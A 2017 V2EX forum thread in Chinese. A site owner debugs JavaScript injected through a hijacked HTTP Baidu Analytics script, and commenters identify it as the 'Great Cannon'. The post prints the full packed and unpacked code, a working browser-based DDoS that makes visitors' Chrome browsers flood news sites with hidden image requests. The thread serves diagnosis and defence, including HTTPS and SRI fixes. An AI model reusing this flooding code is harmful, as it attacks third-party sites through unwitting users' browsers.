V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
guoqiao
V2EX  ›  问与答

Javascript 高手帮我看看百度这两段注入代码是想做什么?

  •  9
     
  •   guoqiao · 2017-08-19 21:00:39 +08:00 · 3457 次点击
    这是一个创建于 2656 天前的主题,其中的信息可能已经有所发展或是发生改变。

    背景

    我的一个网站使用了百度统计,最近突然变得很慢,开始以为是我自己家里网络的问题,没有在意。 今天再次访问网站,MacBook Pro 的风扇呜呜作响,感觉都要爆炸了。 我打开 Chrome 的开发者工具,看到了这个(YouTube,需翻墙):

    https://www.youtube.com/watch?v=ySzVHv1bfdA

    页面底部被注入了图片链接,并且不断循环,链接均指向境外反动网站明镜网。 同时,页面上不断产生类似于下面这样的 503 错误,不一会儿就好几千个:

    http://ipv4.google.com/sorry/index?continue=http://www.mingjingtimes.com/%3Ft%3D150318023815&q=EgTSN1cMGIGa4MwFIhkA8aeDS3_xETjcPPEY575z-8z10KBSiPxLMgNyY24
    

    调试

    看起来是有某段 Javascript 代码对页面进行了注入。一些尝试:

    • 问题只出现在 Chrome 浏览器上,试了别的浏览器都没有出现。
    • 开始我以为是 Chrome 的扩展导致的,逐个删除,直到一个不剩,但问题还在。
    • 接着我怀疑是自己的电脑有问题,于是让一个跟我一样在境外的程序员朋友试了以下,问题一样,由此确定不是电脑问题。
    • 然后我又向另一位境内的资深程序员朋友咨询,他反复尝试,却不能重现问题。
    • 我在本地的开发环境也很快重现了问题(Django 项目)。

    通过在 Chrome 开发工具中对 JS 进行调试,最后定位到问题是这段百度统计代码引入的:

    var _hmt = _hmt || [];
    (function() {
        var hm = document.createElement("script");
        hm.src = "//hm.baidu.com/hm.js?375aa6d6013xxxx6e50751c1cxxxxxxxxx";
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(hm, s);
    })();
    

    页面加载后,它先是注入了以下代码:

    eval(function(p, a, c, k, e, d) {
        e = function(c) {
            return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
        }
        ;
        if (!''.replace(/^/, String)) {
            while (c--)
                d[e(c)] = k[c] || e(c);
            k = [function(e) {
                return d[e]
            }
            ];
            e = function() {
                return '\\w+'
            }
            ;
            c = 1;
        }
        ;while (c--)
            if (k[c])
                p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c]);
        return p;
    }('e((/15\\/([\\d]+)/16.17(m.y.A.J())[1]>=12)&&(m.y.A.J().14("1b")<0)){3 L=1c;3 x=[\'i://1d.n.h/\',\'i://18.n.h/\',\'i://19.n.h/\',\'i://1a.T.h/\',\'i://H.n.h/U/V/H.11\'];3 K=Y;3 o=W;3 O=10;3 r=1;g q(){3 9=c 7();I 7.X(9.Z(),9.1e(),9.1v(),9.1w(),9.P(),9.N())/D}j.G("E")[0].F="<1u 1s=\\"C\\" 1t=\\"1x-C\\">"+j.G("E")[0].F;3 a=[];3 f=[];3 w=5;3 b=[];3 6=[];3 p=\'\';3 k=0;g v(2){3 8=a[2];e(8!=5){j.B.1z(8)}a[2]=5;e(k<K&&6[2]-w<L){M(\'s(\'+2+\')\',(6[2]-b[2])>o?o:(6[2]-b[2]))}}g S(2){e(a[2]==5){I}e(a[2].1f){m.z(f[2]);6[2]=c 7().l();v(2)}1g{e(c 7().l()-b[2]>o){m.z(f[2]);v(2)}}}g s(2){8=j.B.1r(j.1n(\'1o\'));p=x[q()%x.1m];8.1q=p+\'?t=\'+q()+Q.1p(Q.1l()*1h);8.1k.1j=\'1i\';a[2]=8;b[2]=6[2]=c 7().l();f[2]=1A("S("+2+")",1y);k=k+1}g R(){w=c 7().l();1B(3 4=0;4<O;4+=1){a[4]=5;f[4]=5;b[4]=5;6[4]=5;s(4)}}3 u=c 7();M(\'R()\',((r-u.P()%r)*13-u.N())*D)}', 62, 100, '||index|var|ti|null|responsetime_list|Date|p_img_tmp|dt|p_img_list|requesttime_list|new||if|timer_list|function|com|http|document|count|getTime|window|mingjingnews|TIMEGAP|url|unixtime|START_CLOCK|imgadd||now|imgdel|starttime|url_list|navigator|clearInterval|userAgent|body|referrer|1000|head|innerHTML|getElementsByTagName|bravo|return|toLowerCase|MAX_COUNT|MAX_TIME|setTimeout|getSeconds|THREAD|getMinutes|Math|start|isImgComplete|mingjingtimes|2017|01|500|UTC|100000000|getFullYear||html|34|60|indexOf|chrome|gi|exec|s1|tv|www|edge|300000|news|getMonth|complete|else|100|none|display|style|random|length|createElement|img|ceil|src|appendChild|name|content|meta|getDate|getHours|no|50|removeChild|setInterval|for'.split('|'), 0, {}))
    

    以及以下代码:

    if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
        var MAX_TIME = 300000;
        var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/', 'http://bravo.mingjingnews.com/2017/01/bravo.html'];
        var MAX_COUNT = 100000000;
        var TIMEGAP = 500;
        var THREAD = 10;
        var START_CLOCK = 1;
        function unixtime() {
            var dt = new Date();
            return Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDate(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000
        }
        document.getElementsByTagName("head")[0].innerHTML = "<meta name=\"referrer\" content=\"no-referrer\">" + document.getElementsByTagName("head")[0].innerHTML;
        var p_img_list = [];
        var timer_list = [];
        var starttime = null;
        var requesttime_list = [];
        var responsetime_list = [];
        var url = '';
        var count = 0;
        function imgdel(index) {
            var p_img_tmp = p_img_list[index];
            if (p_img_tmp != null) {
                document.body.removeChild(p_img_tmp)
            }
            p_img_list[index] = null;
            if (count < MAX_COUNT && responsetime_list[index] - starttime < MAX_TIME) {
                setTimeout('imgadd(' + index + ')', (responsetime_list[index] - requesttime_list[index]) > TIMEGAP ? TIMEGAP : (responsetime_list[index] - requesttime_list[index]))
            }
        }
        function isImgComplete(index) {
            if (p_img_list[index] == null) {
                return
            }
            if (p_img_list[index].complete) {
                window.clearInterval(timer_list[index]);
                responsetime_list[index] = new Date().getTime();
                imgdel(index)
            } else {
                if (new Date().getTime() - requesttime_list[index] > TIMEGAP) {
                    window.clearInterval(timer_list[index]);
                    imgdel(index)
                }
            }
        }
        function imgadd(index) {
            p_img_tmp = document.body.appendChild(document.createElement('img'));
            url = url_list[unixtime() % url_list.length];
            p_img_tmp.src = url + '?t=' + unixtime() + Math.ceil(Math.random() * 100);
            p_img_tmp.style.display = 'none';
            p_img_list[index] = p_img_tmp;
            requesttime_list[index] = responsetime_list[index] = new Date().getTime();
            timer_list[index] = setInterval("isImgComplete(" + index + ")", 50);
            count = count + 1
        }
        function start() {
            starttime = new Date().getTime();
            for (var ti = 0; ti < THREAD; ti += 1) {
                p_img_list[ti] = null;
                timer_list[ti] = null;
                requesttime_list[ti] = null;
                responsetime_list[ti] = null;
                imgadd(ti)
            }
        }
        var now = new Date();
        setTimeout('start()', ((START_CLOCK - now.getMinutes() % START_CLOCK) * 60 - now.getSeconds()) * 1000)
    }
    

    后面这段代码的第一行显示,攻击仅仅针对 Chrome 浏览器。 而第三行代码,则给出了一串网址,用于循环生成需要插入的链接:

    var url_list = ['http://news.mingjingnews.com/', 'http://s1.mingjingnews.com/', 'http://tv.mingjingnews.com/', 'http://www.mingjingtimes.com/', 'http://bravo.mingjingnews.com/2017/01/bravo.html'];
    

    可以看到它们全部指向明镜网的不同子域名,正是我所看到的。

    解决方案

    将百度统计的代码移除后,问题立即消失了。但是我很不解: 百度统计这是想做什么呢?难道是被黑了吗? 另外这两段代码,以及注入的内容,具体是想达到什么目的呢?看起来就是不断的插入和删除图片链接?

    期望高手解惑。

    40 条回复    2017-08-21 20:40:11 +08:00
    oott123
        1
    oott123  
       2017-08-19 21:18:21 +08:00 via Android   ❤️ 15
    哇,这不是著名的 GFW 大炮吗?居然现在还在工作?
    oh
        2
    oh  
       2017-08-19 21:25:55 +08:00 via iPhone
    是不是 Chrome 的某个插件搞的?
    changwei
        3
    changwei  
       2017-08-19 21:26:00 +08:00 via Android
    楼主这真有耐心,话说这不会是百度统计官方被黑了吧?真是的话就是一个很重大的安全事件啊。
    changwei
        4
    changwei  
       2017-08-19 21:45:26 +08:00
    百度统计好像已经挂了,我这自己抓自己页面上百度统计指向的那个 js 文件,返回空响应了。估计是被黑了。
    t6attack
        5
    t6attack  
       2017-08-19 21:49:48 +08:00
    @changwei hm.baidu.com/hm.js 这个文件你从外部抓取,返回的永远是空。从控制台->Sources 里看就有了。
    electric
        6
    electric  
       2017-08-19 21:50:13 +08:00
    这不就是长城防火墙篡改了吗?以前还利用类似手法搞过 git,锅也是百度背!
    changwei
        7
    changwei  
       2017-08-19 21:55:16 +08:00
    @t6attack 我就是在 chrome 开发者工具 network 里面看的,是空的
    Kirscheis
        8
    Kirscheis  
       2017-08-19 22:12:12 +08:00   ❤️ 2
    你在海外或者使用了海外 ip 吗?看起来和以前发生过的一次劫持百度统计 js 进行攻击的事件很相似。。不细说。。
    learnshare
        9
    learnshare  
       2017-08-19 22:14:27 +08:00
    劫持百度 GET github.com/***
    v1024
        11
    v1024  
       2017-08-19 22:52:38 +08:00 via iPhone   ❤️ 1
    因为这个网站刚刚参加健身活动,需要管管
    neoFelhz
        12
    neoFelhz  
       2017-08-19 23:03:28 +08:00 via Android
    中国大炮,又开火啦?
    7654
        13
    7654  
       2017-08-19 23:12:55 +08:00
    用个反动网站招惹 GFW ?不明白这什么操作
    chinvo
        14
    chinvo  
       2017-08-19 23:16:00 +08:00   ❤️ 1
    传说中的 Great Cannon,和 Great FW 协同工作的主动式(画重点)“审查”工具
    yksoft1
        15
    yksoft1  
       2017-08-19 23:32:07 +08:00
    我操,这不是当初打 github 用的手法么。好在百度统计,cnzz 之类早就被我 adblock 了
    yksoft1
        16
    yksoft1  
       2017-08-19 23:34:47 +08:00
    搞这个网站的目的,应该是因为它在直播世大运开幕式?
    Hardrain
        17
    Hardrain  
       2017-08-19 23:43:57 +08:00
    Great Cannon
    finalspeed
        18
    finalspeed  
       2017-08-19 23:44:47 +08:00 via Android
    难道是因为昨天的 818
    7654
        19
    7654  
       2017-08-20 00:03:16 +08:00
    @yksoft1 #16 还有这种操作?
    lxy
        20
    lxy  
       2017-08-20 01:21:23 +08:00   ❤️ 1
    大炮重出江湖……
    试试把百度统计换成 HTTPS 引用(如果有的话
    torbrowserbridge
        21
    torbrowserbridge  
       2017-08-20 06:48:58 +08:00 via Android   ❤️ 1
    奉旨 DDoS
    guoqiao
        22
    guoqiao  
    OP
       2017-08-20 07:20:00 +08:00   ❤️ 1
    谢谢各位,以前对这个`Great Cannon`有所耳闻,没想到会真实的发生在我自己身上。
    在这件事里,百度其实惨的,不过也算是因果报应吧。
    Trumeet
        23
    Trumeet  
       2017-08-20 07:21:51 +08:00 via Android
    我的第一反應:啥?你度還有統計?..
    jsw
        24
    jsw  
       2017-08-20 09:01:06 +08:00 via Android
    🤔可以上防盗链方案?
    看到奇怪的 referrer 就 301 走打别人(
    guoqiao
        25
    guoqiao  
    OP
       2017-08-20 09:10:36 +08:00
    @jsw 直接不用百度统计了,本来我也不是很需要
    jsw
        26
    jsw  
       2017-08-20 09:24:44 +08:00 via Android
    好恶心居然砍掉 referrer
    tangzx
        27
    tangzx  
       2017-08-20 09:58:34 +08:00 via iPhone
    @guoqiao 换 GA 就好,面向国内的网站 GA 数据也是能正常收集的
    edhelper0
        28
    edhelper0  
       2017-08-20 10:02:30 +08:00 via Android
    好玩了,百度这几回吃相,呵呵。前几天作业帮的事情还没完呢……
    Coande
        29
    Coande  
       2017-08-20 10:30:32 +08:00 via Android
    发现个有趣的事情,分享这个帖子会跳转到首页←_←
    wly19960911
        30
    wly19960911  
       2017-08-20 10:36:41 +08:00 via Android
    @Coande 被设置权限了,没有账号登录不允许访问强制主页
    icedent
        31
    icedent  
       2017-08-20 11:02:35 +08:00
    @lxy 有的,我的博客就在用百度统计的 HTTPS
    techmoe
        32
    techmoe  
       2017-08-20 11:26:19 +08:00
    恭喜楼主发现大炮
    感觉这也是我第一次亲眼目睹 GFW 大炮的工作方式。。
    Coxxs
        33
    Coxxs  
       2017-08-20 11:37:15 +08:00
    @guoqiao 百度统计的 js 改为 https 开头的即可,当然也推荐贵站尽快使用 https。
    ijse
        34
    ijse  
       2017-08-20 11:58:05 +08:00
    会不会是因为运营商劫持的原因?
    xinxijishuwyq
        35
    xinxijishuwyq  
       2017-08-20 12:13:23 +08:00
    这是 gfw 的 ddos ?
    iyaozhen
        36
    iyaozhen  
       2017-08-20 12:24:22 +08:00 via Android
    @lxy 正解,你被劫持了,百度统计的引用强制改成 https 的吧。
    xierch
        37
    xierch  
       2017-08-20 14:32:39 +08:00 via Android
    其实 HTTPS 也不解决问题啊……是吧……
    得要 SRI ?(就是 <script> 里加 hash 的那个
    wjm2038
        38
    wjm2038  
       2017-08-20 14:45:55 +08:00 via Android
    这还是早发现了,几年前的 github 都是打不开才发现的
    alect
        39
    alect  
       2017-08-20 20:43:50 +08:00
    hm.src = "//hm.baidu 改成 hm.src = "https://hm.baidu 试试看,如果还有可以放弃,我现在用的 cnzz 的统计还不错
    872517414
        40
    872517414  
       2017-08-21 20:40:11 +08:00 via Android
    发现基本上都在说 cnzz,没有人有谷歌统计么?
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1320 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 27ms · UTC 18:06 · PVG 02:06 · LAX 10:06 · JFK 13:06
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.